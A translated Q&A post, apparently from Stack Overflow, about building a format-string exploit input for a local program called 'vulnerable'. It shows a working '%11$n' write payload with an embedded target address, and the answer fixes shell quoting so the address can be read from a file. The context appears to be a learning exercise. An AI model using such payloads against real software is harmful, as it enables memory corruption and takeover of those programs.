我正在为易受攻击的程序编写格式字符串漏洞利用脚本。
我可以通过以下输入执行程序来利用此漏洞:
./vulnerable `perl -e 'print "\x11\x11\x11\x40\x99\x04\x08"'`'AAAAx%11$n'
此处\x40\x99\x04\x08
是vulnerable
中变量的地址。
我想编写一个脚本,在没有硬编码地址的情况下生成此输入。
在我的脚本中,我检索变量的地址并将其存储在address.txt
中。
然后我尝试像以前一样从我的脚本中调用vulnerable
,但内容为address.txt
:
./vulnerable $(perl -e 'print "\x11\x11\x11$(<address.txt)"')'AAAAx%11$n’
address.txt
的内容为\x40\x99\x04\x08
,因此我将address.txt
的内容提供给perl print语句的方式有问题。
我也试过忽略$()
周围的perl
:
./vulnerable `perl -e 'print "\x11\x11\x11$(<address.txt)"'`'AAAAx%11$n'
但这会产生相同的结果。
我做错了什么?
答案 0 :(得分:1)
单引号不会展开$(...)
。
./vulnerable $(perl -e 'print "\x11\x11\x11'$(<address.txt)'"')'AAAAx%11$n'
# <------------->
# <-------------------> <->
# <------------------------------------------------><---------->